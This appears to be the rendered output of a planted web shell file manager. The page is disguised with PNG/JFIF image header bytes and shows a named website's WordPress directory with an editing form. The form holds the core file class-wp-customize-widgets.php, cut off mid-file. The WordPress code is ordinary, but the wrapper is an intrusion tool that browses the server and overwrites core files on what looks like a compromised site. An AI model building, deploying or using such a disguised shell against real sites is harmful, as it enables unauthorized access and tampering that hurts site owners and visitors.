�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2F'>www.europa4me.eu</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/</p><hr><h3>✏️ Editing: class-wp-customize-widgets.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * WordPress Customize Widgets classes
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.9.0
 */

/**
 * Customize Widgets class.
 *
 * Implements widget management in the Customizer.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Manager
 */
#[AllowDynamicProperties]
final class WP_Customize_Widgets {

	/**
	 * WP_Customize_Manager instance.
	 *
	 * @since 3.9.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * All id_bases for widgets defined in core.
	 *
	 * @since 3.9.0
	 * @var array
	 */
	protected $core_widget_id_bases = array(
		&#039;archives&#039;,
		&#039;calendar&#039;,
		&#039;categories&#039;,
		&#039;custom_html&#039;,
		&#039;links&#039;,
		&#039;media_audio&#039;,
		&#039;media_image&#039;,
		&#039;media_video&#039;,
		&#039;meta&#039;,
		&#039;nav_menu&#039;,
		&#039;pages&#039;,
		&#039;recent-comments&#039;,
		&#039;recent-posts&#039;,
		&#039;rss&#039;,
		&#039;search&#039;,
		&#039;tag_cloud&#039;,
		&#039;text&#039;,
	);

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $rendered_sidebars = array();

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $rendered_widgets = array();

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $old_sidebars_widgets = array();

	/**
	 * Mapping of widget ID base to whether it supports selective refresh.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $selective_refreshable_widgets;

	/**
	 * Mapping of setting type to setting ID pattern.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	protected $setting_id_patterns = array(
		&#039;widget_instance&#039; =&gt; &#039;/^widget_(?P&lt;id_base&gt;.+?)(?:\[(?P&lt;widget_number&gt;\d+)\])?$/&#039;,
		&#039;sidebar_widgets&#039; =&gt; &#039;/^sidebars_widgets\[(?P&lt;sidebar_id&gt;.+?)\]$/&#039;,
	);

	/**
	 * Initial loader.
	 *
	 * @since 3.9.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		$this-&gt;manager = $manager;

		// See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L420-L449
		add_filter( &#039;customize_dynamic_setting_args&#039;, array( $this, &#039;filter_customize_dynamic_setting_args&#039; ), 10, 2 );
		add_action( &#039;widgets_init&#039;, array( $this, &#039;register_settings&#039; ), 95 );
		add_action( &#039;customize_register&#039;, array( $this, &#039;schedule_customize_register&#039; ), 1 );

		// Skip remaining hooks when the user can&#039;t manage widgets anyway.
		if ( ! current_user_can( &#039;edit_theme_options&#039; ) ) {
			return;
		}

		add_action( &#039;wp_loaded&#039;, array( $this, &#039;override_sidebars_widgets_for_theme_switch&#039; ) );
		add_action( &#039;customize_controls_init&#039;, array( $this, &#039;customize_controls_init&#039; ) );
		add_action( &#039;customize_controls_enqueue_scripts&#039;, array( $this, &#039;enqueue_scripts&#039; ) );
		add_action( &#039;customize_controls_print_styles&#039;, array( $this, &#039;print_styles&#039; ) );
		add_action( &#039;customize_controls_print_scripts&#039;, array( $this, &#039;print_scripts&#039; ) );
		add_action( &#039;customize_controls_print_footer_scripts&#039;, array( $this, &#039;print_footer_scripts&#039; ) );
		add_action( &#039;customize_controls_print_footer_scripts&#039;, array( $this, &#039;output_widget_control_templates&#039; ) );
		add_action( &#039;customize_preview_init&#039;, array( $this, &#039;customize_preview_init&#039; ) );
		add_filter( &#039;customize_refresh_nonces&#039;, array( $this, &#039;refresh_nonces&#039; ) );
		add_filter( &#039;should_load_block_editor_scripts_and_styles&#039;, array( $this, &#039;should_load_block_editor_scripts_and_styles&#039; ) );

		add_action( &#039;dynamic_sidebar&#039;, array( $this, &#039;tally_rendered_widgets&#039; ) );
		add_filter( &#039;is_active_sidebar&#039;, array( $this, &#039;tally_sidebars_via_is_active_sidebar_calls&#039; ), 10, 2 );
		add_filter( &#039;dynamic_sidebar_has_widgets&#039;, array( $this, &#039;tally_sidebars_via_dynamic_sidebar_calls&#039; ), 10, 2 );

		// Selective Refresh.
		add_filter( &#039;customize_dynamic_partial_args&#039;, array( $this, &#039;customize_dynamic_partial_args&#039; ), 10, 2 );
		add_action( &#039;customize_preview_init&#039;, array( $this, &#039;selective_refresh_init&#039; ) );
	}

	/**
	 * List whether each registered widget can be use selective refresh.
	 *
	 * If the theme does not support the customize-selective-refresh-widgets feature,
	 * then this will always return an empty array.
	 *
	 * @since 4.5.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @return array Mapping of id_base to support. If theme doesn&#039;t support
	 *               selective refresh, an empty array is returned.
	 */
	public function get_selective_refreshable_widgets() {
		global $wp_widget_factory;
		if ( ! current_theme_supports( &#039;customize-selective-refresh-widgets&#039; ) ) {
			return array();
		}
		if ( ! isset( $this-&gt;selective_refreshable_widgets ) ) {
			$this-&gt;selective_refreshable_widgets = array();
			foreach ( $wp_widget_factory-&gt;widgets as $wp_widget ) {
				$this-&gt;selective_refreshable_widgets[ $wp_widget-&gt;id_base ] = ! empty( $wp_widget-&gt;widget_options[&#039;customize_selective_refresh&#039;] );
			}
		}
		return $this-&gt;selective_refreshable_widgets;
	}

	/**
	 * Determines if a widget supports selective refresh.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id_base Widget ID Base.
	 * @return bool Whether the widget can be selective refreshed.
	 */
	public function is_widget_selective_refreshable( $id_base ) {
		$selective_refreshable_widgets = $this-&gt;get_selective_refreshable_widgets();
		return ! empty( $selective_refreshable_widgets[ $id_base ] );
	}

	/**
	 * Retrieves the widget setting type given a setting ID.
	 *
	 * @since 4.2.0
	 *
	 * @param string $setting_id Setting ID.
	 * @return string|null Setting type.
	 */
	protected function get_setting_type( $setting_id ) {
		static $cache = array();
		if ( isset( $cache[ $setting_id ] ) ) {
			return $cache[ $setting_id ];
		}
		foreach ( $this-&gt;setting_id_patterns as $type =&gt; $pattern ) {
			if ( preg_match( $pattern, $setting_id ) ) {
				$cache[ $setting_id ] = $type;
				return $type;
			}
		}
	}

	/**
	 * Inspects the incoming customized data for any widget settings, and dynamically adds
	 * them up-front so widgets will be initialized properly.
	 *
	 * @since 4.2.0
	 */
	public function register_settings() {
		$widget_setting_ids   = array();
		$incoming_setting_ids = array_keys( $this-&gt;manager-&gt;unsanitized_post_values() );
		foreach ( $incoming_setting_ids as $setting_id ) {
			if ( ! is_null( $this-&gt;get_setting_type( $setting_id ) ) ) {
				$widget_setting_ids[] = $setting_id;
			}
		}
		if ( $this-&gt;manager-&gt;doing_ajax( &#039;update-widget&#039; ) &amp;&amp; isset( $_REQUEST[&#039;widget-id&#039;] ) ) {
			$widget_setting_ids[] = $this-&gt;get_setting_id( wp_unslash( $_REQUEST[&#039;widget-id&#039;] ) );
		}

		$settings = $this-&gt;manager-&gt;add_dynamic_settings( array_unique( $widget_setting_ids ) );

		if ( $this-&gt;manager-&gt;settings_previewed() ) {
			foreach ( $settings as $setting ) {
				$setting-&gt;preview();
			}
		}
	}

	/**
	 * Determines the arguments for a dynamically-created setting.
	 *
	 * @since 4.2.0
	 *
	 * @param false|array $args       The arguments to the WP_Customize_Setting constructor.
	 * @param string      $setting_id ID for dynamic setting, usually coming from `$_POST[&#039;customized&#039;]`.
	 * @return array|false Setting arguments, false otherwise.
	 */
	public function filter_customize_dynamic_setting_args( $args, $setting_id ) {
		if ( $this-&gt;get_setting_type( $setting_id ) ) {
			$args = $this-&gt;get_setting_args( $setting_id );
		}
		return $args;
	}

	/**
	 * Retrieves an unslashed post value or return a default.
	 *
	 * @since 3.9.0
	 *
	 * @param string $name          Post value.
	 * @param mixed  $default_value Default post value.
	 * @return mixed Unslashed post value or default value.
	 */
	protected function get_post_value( $name, $default_value = null ) {
		if ( ! isset( $_POST[ $name ] ) ) {
			return $default_value;
		}

		return wp_unslash( $_POST[ $name ] );
	}

	/**
	 * Override sidebars_widgets for theme switch.
	 *
	 * When switching a theme via the Customizer, supply any previously-configured
	 * sidebars_widgets from the target theme as the initial sidebars_widgets
	 * setting. Also store the old theme&#039;s existing settings so that they can
	 * be passed along for storing in the sidebars_widgets theme_mod when the
	 * theme gets switched.
	 *
	 * @since 3.9.0
	 *
	 * @global array $sidebars_widgets
	 * @global array $_wp_sidebars_widgets
	 */
	public function override_sidebars_widgets_for_theme_switch() {
		global $sidebars_widgets;

		if ( $this-&gt;manager-&gt;doing_ajax() || $this-&gt;manager-&gt;is_theme_active() ) {
			return;
		}

		$this-&gt;old_sidebars_widgets = wp_get_sidebars_widgets();
		add_filter( &#039;customize_value_old_sidebars_widgets_data&#039;, array( $this, &#039;filter_customize_value_old_sidebars_widgets_data&#039; ) );
		$this-&gt;manager-&gt;set_post_value( &#039;old_sidebars_widgets_data&#039;, $this-&gt;old_sidebars_widgets ); // Override any value cached in changeset.

		// retrieve_widgets() looks at the global $sidebars_widgets.
		$sidebars_widgets = $this-&gt;old_sidebars_widgets;
		$sidebars_widgets = retrieve_widgets( &#039;customize&#039; );
		add_filter( &#039;option_sidebars_widgets&#039;, array( $this, &#039;filter_option_sidebars_widgets_for_theme_switch&#039; ), 1 );
		// Reset global cache var used by wp_get_sidebars_widgets().
		unset( $GLOBALS[&#039;_wp_sidebars_widgets&#039;] );
	}

	/**
	 * Filters old_sidebars_widgets_data Customizer setting.
	 *
	 * When switching themes, filter the Customizer setting old_sidebars_widgets_data
	 * to supply initial $sidebars_widgets before they were overridden by retrieve_widgets().
	 * The value for old_sidebars_widgets_data gets set in the old theme&#039;s sidebars_widgets
	 * theme_mod.
	 *
	 * @since 3.9.0
	 *
	 * @see WP_Customize_Widgets::handle_theme_switch()
	 *
	 * @param array $old_sidebars_widgets
	 * @return array
	 */
	public function filter_customize_value_old_sidebars_widgets_data( $old_sidebars_widgets ) {
		return $this-&gt;old_sidebars_widgets;
	}

	/**
	 * Filters sidebars_widgets option for theme switch.
	 *
	 * When switching themes, the retrieve_widgets() function is run when the Customizer initializes,
	 * and then the new sidebars_widgets here get supplied as the default value for the sidebars_widgets
	 * option.
	 *
	 * @since 3.9.0
	 *
	 * @see WP_Customize_Widgets::handle_theme_switch()
	 * @global array $sidebars_widgets
	 *
	 * @param array $sidebars_widgets
	 * @return array
	 */
	public function filter_option_sidebars_widgets_for_theme_switch( $sidebars_widgets ) {
		$sidebars_widgets                  = $GLOBALS[&#039;sidebars_widgets&#039;];
		$sidebars_widgets[&#039;array_version&#039;] = 3;
		return $sidebars_widgets;
	}

	/**
	 * Ensures all widgets get loaded into the Customizer.
	 *
	 * Note: these actions are also fired in wp_ajax_update_widget().
	 *
	 * @since 3.9.0
	 */
	public function customize_controls_init() {
		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( &#039;load-widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( &#039;widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/widgets-form.php */
		do_action( &#039;sidebar_admin_setup&#039; );
	}

	/**
	 * Ensures widgets are available for all types of previews.
	 *
	 * When in preview, hook to {@see &#039;customize_register&#039;} for settings after WordPress is loaded
	 * so that all filters have been initialized (e.g. Widget Visibility).
	 *
	 * @since 3.9.0
	 */
	public function schedule_customize_register() {
		if ( is_admin() ) {
			$this-&gt;customize_register();
		} else {
			add_action( &#039;wp&#039;, array( $this, &#039;customize_register&#039; ) );
		}
	}

	/**
	 * Registers Customizer settings and controls for all sidebars and widgets.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 * @global array $wp_registered_widget_controls
	 * @global array $wp_registered_sidebars
	 */
	public function customize_register() {
		global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_sidebars;

		$use_widgets_block_editor = wp_use_widgets_block_editor();

		add_filter( &#039;sidebars_widgets&#039;, array( $this, &#039;preview_sidebars_widgets&#039; ), 1 );

		$sidebars_widgets = array_merge(
			array( &#039;wp_inactive_widgets&#039; =&gt; array() ),
			array_fill_keys( array_keys( $wp_registered_sidebars ), array() ),
			wp_get_sidebars_widgets()
		);

		$new_setting_ids = array();

		/*
		 * Register a setting for all widgets, including those which are active,
		 * inactive, and orphaned since a widget may get suppressed from a sidebar
		 * via a plugin (like Widget Visibility).
		 */
		foreach ( array_keys( $wp_registered_widgets ) as $widget_id ) {
			$setting_id   = $this-&gt;get_setting_id( $widget_id );
			$setting_args = $this-&gt;get_setting_args( $setting_id );
			if ( ! $this-&gt;manager-&gt;get_setting( $setting_id ) ) {
				$this-&gt;manager-&gt;add_setting( $setting_id, $setting_args );
			}
			$new_setting_ids[] = $setting_id;
		}

		/*
		 * Add a setting which will be supplied for the theme&#039;s sidebars_widgets
		 * theme_mod when the theme is switched.
		 */
		if ( ! $this-&gt;manager-&gt;is_theme_active() ) {
			$setting_id   = &#039;old_sidebars_widgets_data&#039;;
			$setting_args = $this-&gt;get_setting_args(
				$setting_id,
				array(
					&#039;type&#039;  =&gt; &#039;global_variable&#039;,
					&#039;dirty&#039; =&gt; true,
				)
			);
			$this-&gt;manager-&gt;add_setting( $setting_id, $setting_args );
		}

		$this-&gt;manager-&gt;add_panel(
			&#039;widgets&#039;,
			array(
				&#039;type&#039;                     =&gt; &#039;widgets&#039;,
				&#039;title&#039;                    =&gt; __( &#039;Widgets&#039; ),
				&#039;description&#039;              =&gt; __( &#039;Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars).&#039; ),
				&#039;priority&#039;                 =&gt; 110,
				&#039;active_callback&#039;          =&gt; array( $this, &#039;is_panel_active&#039; ),
				&#039;auto_expand_sole_section&#039; =&gt; true,
				&#039;theme_supports&#039;           =&gt; &#039;widgets&#039;,
			)
		);

		foreach ( $sidebars_widgets as $sidebar_id =&gt; $sidebar_widget_ids ) {
			if ( empty( $sidebar_widget_ids ) ) {
				$sidebar_widget_ids = array();
			}

			$is_registered_sidebar = is_registered_sidebar( $sidebar_id );
			$is_inactive_widgets   = ( &#039;wp_inactive_widgets&#039; === $sidebar_id );
			$is_active_sidebar     = ( $is_registered_sidebar &amp;&amp; ! $is_inactive_widgets );

			// Add setting for managing the sidebar&#039;s widgets.
			if ( $is_registered_sidebar || $is_inactive_widgets ) {
				$setting_id   = sprintf( &#039;sidebars_widgets[%s]&#039;, $sidebar_id );
				$setting_args = $this-&gt;get_setting_args( $setting_id );
				if ( ! $this-&gt;manager-&gt;get_setting( $setting_id ) ) {
					if ( ! $this-&gt;manager-&gt;is_theme_active() ) {
						$setting_args[&#039;dirty&#039;] = true;
					}
					$this-&gt;manager-&gt;add_setting( $setting_id, $setting_args );
				}
				$new_setting_ids[] = $setting_id;

				// Add section to contain controls.
				$section_id = sprintf( &#039;sidebar-widgets-%s&#039;, $sidebar_id );
				if ( $is_active_sidebar ) {

					$section_args = array(
						&#039;title&#039;      =&gt; $wp_registered_sidebars[ $sidebar_id ][&#039;name&#039;],
						&#039;priority&#039;   =&gt; array_search( $sidebar_id, array_keys( $wp_registered_sidebars ), true ),
						&#039;panel&#039;      =&gt; &#039;widgets&#039;,
						&#039;sidebar_id&#039; =&gt; $sidebar_id,
					);

					if ( $use_widgets_block_editor ) {
						$section_args[&#039;description&#039;] = &#039;&#039;;
					} else {
						$section_args[&#039;description&#039;] = $wp_registered_sidebars[ $sidebar_id ][&#039;description&#039;];
					}

					/**
					 * Filters Customizer widget section arguments for a given sidebar.
					 *
					 * @since 3.9.0
					 *
					 * @param array      $section_args Array of Customizer widget section arguments.
					 * @param string     $section_id   Customizer section ID.
					 * @param int|string $sidebar_id   Sidebar ID.
					 */
					$section_args = apply_filters( &#039;customizer_widgets_section_args&#039;, $section_args, $section_id, $sidebar_id );

					$section = new WP_Customize_Sidebar_Section( $this-&gt;manager, $section_id, $section_args );
					$this-&gt;manager-&gt;add_section( $section );

					if ( $use_widgets_block_editor ) {
						$control = new WP_Sidebar_Block_Editor_Control(
							$this-&gt;manager,
							$setting_id,
							array(
								&#039;section&#039;     =&gt; $section_id,
								&#039;sidebar_id&#039;  =&gt; $sidebar_id,
								&#039;label&#039;       =&gt; $section_args[&#039;title&#039;],
								&#039;description&#039; =&gt; $section_args[&#039;description&#039;],
							)
						);
					} else {
						$control = new WP_Widget_Area_Customize_Control(
							$this-&gt;manager,
							$setting_id,
							array(
								&#039;section&#039;    =&gt; $section_id,
								&#039;sidebar_id&#039; =&gt; $sidebar_id,
								&#039;priority&#039;   =&gt; count( $sidebar_widget_ids ), // place &#039;Add Widget&#039; and &#039;Reorder&#039; buttons at end.
							)
						);
					}

					$this-&gt;manager-&gt;add_control( $control );

					$new_setting_ids[] = $setting_id;
				}
			}

			if ( ! $use_widgets_block_editor ) {
				// Add a control for each active widget (located in a sidebar).
				foreach ( $sidebar_widget_ids as $i =&gt; $widget_id ) {

					// Skip widgets that may have gone away due to a plugin being deactivated.
					if ( ! $is_active_sidebar || ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
						continue;
					}

					$registered_widget = $wp_registered_widgets[ $widget_id ];
					$setting_id        = $this-&gt;get_setting_id( $widget_id );
					$id_base           = $wp_registered_widget_controls[ $widget_id ][&#039;id_base&#039;];

					$control = new WP_Widget_Form_Customize_Control(
						$this-&gt;manager,
						$setting_id,
						array(
							&#039;label&#039;          =&gt; $registered_widget[&#039;name&#039;],
							&#039;section&#039;        =&gt; $section_id,
							&#039;sidebar_id&#039;     =&gt; $sidebar_id,
							&#039;widget_id&#039;      =&gt; $widget_id,
							&#039;widget_id_base&#039; =&gt; $id_base,
							&#039;priority&#039;       =&gt; $i,
							&#039;width&#039;          =&gt; $wp_registered_widget_controls[ $widget_id ][&#039;width&#039;],
							&#039;height&#039;         =&gt; $wp_registered_widget_controls[ $widget_id ][&#039;height&#039;],
							&#039;is_wide&#039;        =&gt; $this-&gt;is_wide_widget( $widget_id ),
						)
					);
					$this-&gt;manager-&gt;add_control( $control );
				}
			}
		}

		if ( $this-&gt;manager-&gt;settings_previewed() ) {
			foreach ( $new_setting_ids as $new_setting_id ) {
				$this-&gt;manager-&gt;get_setting( $new_setting_id )-&gt;preview();
			}
		}
	}

	/**
	 * Determines whether the widgets panel is active, based on whether there are sidebars registered.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_Customize_Panel::$active_callback
	 *
	 * @global array $wp_registered_sidebars
	 *
	 * @return bool Active.
	 */
	public function is_panel_active() {
		global $wp_registered_sidebars;
		return ! empty( $wp_registered_sidebars );
	}

	/**
	 * Converts a widget_id into its corresponding Customizer setting ID (option name).
	 *
	 * @since 3.9.0
	 *
	 * @param string $widget_id Widget ID.
	 * @return string Maybe-parsed widget ID.
	 */
	public function get_setting_id( $widget_id ) {
		$parsed_widget_id = $this-&gt;parse_widget_id( $widget_id );
		$setting_id       = sprintf( &#039;widget_%s&#039;, $parsed_widget_id[&#039;id_base&#039;] );

		if ( ! is_null( $parsed_widget_id[&#039;number&#039;] ) ) {
			$setting_id .= sprintf( &#039;[%d]&#039;, $parsed_widget_id[&#039;number&#039;] );
		}
		return $setting_id;
	}

	/**
	 * Determines whether the widget is considered &quot;wide&quot;.
	 *
	 * Core widgets which may have controls wider than 250, but can still be shown
	 * in the narrow Customizer panel. The RSS and Text widgets in Core, for example,
	 * have widths of 400 and yet they still render fine in the Customizer panel.
	 *
	 * This method will return all Core widgets as being not wide, but this can be
	 * overridden with the {@see &#039;is_wide_widget_in_customizer&#039;} filter.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widget_controls
	 *
	 * @param string $widget_id Widget ID.
	 * @return bool Whether or not the widget is a &quot;wide&quot; widget.
	 */
	public function is_wide_widget( $widget_id ) {
		global $wp_registered_widget_controls;

		$parsed_widget_id = $this-&gt;parse_widget_id( $widget_id );
		$width            = $wp_registered_widget_controls[ $widget_id ][&#039;width&#039;];
		$is_core          = in_array( $parsed_widget_id[&#039;id_base&#039;], $this-&gt;core_widget_id_bases, true );
		$is_wide          = ( $width &gt; 250 &amp;&amp; ! $is_core );

		/**
		 * Filters whether the given widget is considered &quot;wide&quot;.
		 *
		 * @since 3.9.0
		 *
		 * @param bool   $is_wide   Whether the widget is wide, Default false.
		 * @param string $widget_id Widget ID.
		 */
		return apply_filters( &#039;is_wide_widget_in_customizer&#039;, $is_wide, $widget_id );
	}

	/**
	 * Converts a widget ID into its id_base and number components.
	 *
	 * @since 3.9.0
	 *
	 * @param string $widget_id Widget ID.
	 * @return array Array containing a widget&#039;s id_base and number components.
	 */
	public function parse_widget_id( $widget_id ) {
		$parsed = array(
			&#039;number&#039;  =&gt; null,
			&#039;id_base&#039; =&gt; null,
		);

		if ( preg_match( &#039;/^(.+)-(\d+)$/&#039;, $widget_id, $matches ) ) {
			$parsed[&#039;id_base&#039;] = $matches[1];
			$parsed[&#039;number&#039;]  = (int) $matches[2];
		} else {
			// Likely an old single widget.
			$parsed[&#039;id_base&#039;] = $widget_id;
		}
		return $parsed;
	}

	/**
	 * Converts a widget setting ID (option path) to its id_base and number components.
	 *
	 * @since 3.9.0
	 *
	 * @param string $setting_id Widget setting ID.
	 * @return array|WP_Error Array containing a widget&#039;s id_base and number components,
	 *                        or a WP_Error object.
	 */
	public function parse_widget_setting_id( $setting_id ) {
		if ( ! preg_match( &#039;/^(widget_(.+?))(?:\[(\d+)\])?$/&#039;, $setting_id, $matches ) ) {
			return new WP_Error( &#039;widget_setting_invalid_id&#039; );
		}

		$id_base = $matches[2];
		$number  = isset( $matches[3] ) ? (int) $matches[3] : null;

		return compact( &#039;id_base&#039;, &#039;number&#039; );
	}

	/**
	 * Calls admin_print_styles-widgets.php and admin_print_styles hooks to
	 * allow custom styles from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_styles() {
		/** This action is documented in wp-admin/admin-header.php */
		do_action( &#039;admin_print_styles-widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-header.php */
		do_action( &#039;admin_print_styles&#039; );
	}

	/**
	 * Calls admin_print_scripts-widgets.php and admin_print_scripts hooks to
	 * allow custom scripts from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_scripts() {
		/** This action is documented in wp-admin/admin-header.php */
		do_action( &#039;admin_print_scripts-widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-header.php */
		do_action( &#039;admin_print_scripts&#039; );
	}

	/**
	 * Enqueues scripts and styles for Customizer panel and export data to JavaScript.
	 *
	 * @since 3.9.0
	 *
	 * @global WP_Scripts $wp_scripts
	 * @global array $wp_registered_sidebars
	 * @global array $wp_registered_widgets
	 */
	public function enqueue_scripts() {
		global $wp_scripts, $wp_registered_sidebars, $wp_registered_widgets;

		wp_enqueue_style( &#039;customize-widgets&#039; );
		wp_enqueue_script( &#039;customize-widgets&#039; );

		/** This action is documented in wp-admin/admin-header.php */
		do_action( &#039;admin_enqueue_scripts&#039;, &#039;widgets.php&#039; );

		/*
		 * Export available widgets with control_tpl removed from model
		 * since plugins need templates to be in the DOM.
		 */
		$available_widgets = array();

		foreach ( $this-&gt;get_available_widgets() as $available_widget ) {
			unset( $available_widget[&#039;control_tpl&#039;] );
			$available_widgets[] = $available_widget;
		}

		$widget_reorder_nav_tpl = sprintf(
			&#039;&lt;div class=&quot;widget-reorder-nav&quot;&gt;&lt;span class=&quot;move-widget&quot; tabindex=&quot;0&quot;&gt;%1$s&lt;/span&gt;&lt;span class=&quot;move-widget-down&quot; tabindex=&quot;0&quot;&gt;%2$s&lt;/span&gt;&lt;span class=&quot;move-widget-up&quot; tabindex=&quot;0&quot;&gt;%3$s&lt;/span&gt;&lt;/div&gt;&#039;,
			__( &#039;Move to another area&amp;hellip;&#039; ),
			__( &#039;Move down&#039; ),
			__( &#039;Move up&#039; )
		);

		$move_widget_area_tpl = str_replace(
			array( &#039;{description}&#039;, &#039;{btn}&#039; ),
			array(
				__( &#039;Select an area to move this widget into:&#039; ),
				_x( &#039;Move&#039;, &#039;Move widget&#039; ),
			),
			&#039;&lt;div class=&quot;move-widget-area&quot;&gt;
				&lt;p class=&quot;description&quot;&gt;{description}&lt;/p&gt;
				&lt;ul class=&quot;widget-area-select&quot;&gt;
					&lt;% _.each( sidebars, function ( sidebar ){ %&gt;
						&lt;li class=&quot;&quot; data-id=&quot;&lt;%- sidebar.id %&gt;&quot; tabindex=&quot;0&quot;&gt;
							&lt;div&gt;&lt;strong&gt;&lt;%- sidebar.name %&gt;&lt;/strong&gt;&lt;/div&gt;
							&lt;div&gt;&lt;%- sidebar.description %&gt;&lt;/div&gt;
						&lt;/li&gt;
					&lt;% }); %&gt;
				&lt;/ul&gt;
				&lt;div class=&quot;move-widget-actions&quot;&gt;
					&lt;button class=&quot;move-widget-btn button&quot; type=&quot;button&quot;&gt;{btn}&lt;/button&gt;
				&lt;/div&gt;
			&lt;/div&gt;&#039;
		);

		/*
		 * Gather all strings in PHP that may be needed by JS on the client.
		 * Once JS i18n is implemented (in #20491), this can be removed.
		 */
		$some_non_rendered_areas_messages    = array();
		$some_non_rendered_areas_messages[1] = html_entity_decode(
			__( &#039;Your theme has 1 other widget area, but this particular page does not display it.&#039; ),
			ENT_QUOTES,
			get_bloginfo( &#039;charset&#039; )
		);
		$registered_sidebar_count            = count( $wp_registered_sidebars );
		for ( $non_rendered_count = 2; $non_rendered_count &lt; $registered_sidebar_count; $non_rendered_count++ ) {
			$some_non_rendered_areas_messages[ $non_rendered_count ] = html_entity_decode(
				sprintf(
					/* translators: %s: The number of other widget areas registered but not rendered. */
					_n(
						&#039;Your theme has %s other widget area, but this particular page does not display it.&#039;,
						&#039;Your theme has %s other widget areas, but this particular page does not display them.&#039;,
						$non_rendered_count
					),
					number_format_i18n( $non_rendered_count )
				),
				ENT_QUOTES,
				get_bloginfo( &#039;charset&#039; )
			);
		}

		if ( 1 === $registered_sidebar_count ) {
			$no_areas_shown_message = html_entity_decode(
				__( &#039;Your theme has 1 widget area, but this particular page does not display it.&#039; ),
				ENT_QUOTES,
				get_bloginfo( &#039;charset&#039; )
			);
		} else {
			$no_areas_shown_message = html_entity_decode(
				sprintf(
					/* translators: %s: The total number of widget areas registered. */
					_n(
						&#039;Your theme has %s widget area, but this particular page does not display it.&#039;,
						&#039;Your theme has %s widget areas, but this particular page does not display them.&#039;,
						$registered_sidebar_count
					),
					number_format_i18n( $registered_sidebar_count )
				),
				ENT_QUOTES,
				get_bloginfo( &#039;charset&#039; )
			);
		}

		$settings = array(
			&#039;registeredSidebars&#039;          =&gt; array_values( $wp_registered_sidebars ),
			&#039;registeredWidgets&#039;           =&gt; $wp_registered_widgets,
			&#039;availableWidgets&#039;            =&gt; $available_widgets, // @todo Merge this with registered_widgets.
			&#039;l10n&#039;                        =&gt; array(
				&#039;saveBtnLabel&#039;     =&gt; __( &#039;Apply&#039; ),
				&#039;saveBtnTooltip&#039;   =&gt; __( &#039;Save and preview changes before publishing them.&#039; ),
				&#039;removeBtnLabel&#039;   =&gt; __( &#039;Remove&#039; ),
				&#039;removeBtnTooltip&#039; =&gt; __( &#039;Keep widget settings and move it to the inactive widgets&#039; ),
				&#039;error&#039;            =&gt; __( &#039;An error has occurred. Please reload the page and try again.&#039; ),
				&#039;widgetMovedUp&#039;    =&gt; __( &#039;Widget moved up&#039; ),
				&#039;widgetMovedDown&#039;  =&gt; __( &#039;Widget moved down&#039; ),
				&#039;navigatePreview&#039;  =&gt; __( &#039;You can navigate to other pages on your site while using the Customizer to view and edit the widgets displayed on those pages.&#039; ),
				&#039;someAreasShown&#039;   =&gt; $some_non_rendered_areas_messages,
				&#039;noAreasShown&#039;     =&gt; $no_areas_shown_message,
				&#039;reorderModeOn&#039;    =&gt; __( &#039;Reorder mode enabled&#039; ),
				&#039;reorderModeOff&#039;   =&gt; __( &#039;Reorder mode closed&#039; ),
				&#039;reorderLabelOn&#039;   =&gt; esc_attr__( &#039;Reorder widgets&#039; ),
				/* translators: %d: The number of widgets found. */
				&#039;widgetsFound&#039;     =&gt; __( &#039;Number of widgets found: %d&#039; ),
				&#039;noWidgetsFound&#039;   =&gt; __( &#039;No widgets found.&#039; ),
			),
			&#039;tpl&#039;                         =&gt; array(
				&#039;widgetReorderNav&#039; =&gt; $widget_reorder_nav_tpl,
				&#039;moveWidgetArea&#039;   =&gt; $move_widget_area_tpl,
			),
			&#039;selectiveRefreshableWidgets&#039; =&gt; $this-&gt;get_selective_refreshable_widgets(),
		);

		foreach ( $settings[&#039;registeredWidgets&#039;] as &amp;$registered_widget ) {
			unset( $registered_widget[&#039;callback&#039;] ); // May not be JSON-serializable.
		}

		$wp_scripts-&gt;add_data(
			&#039;customize-widgets&#039;,
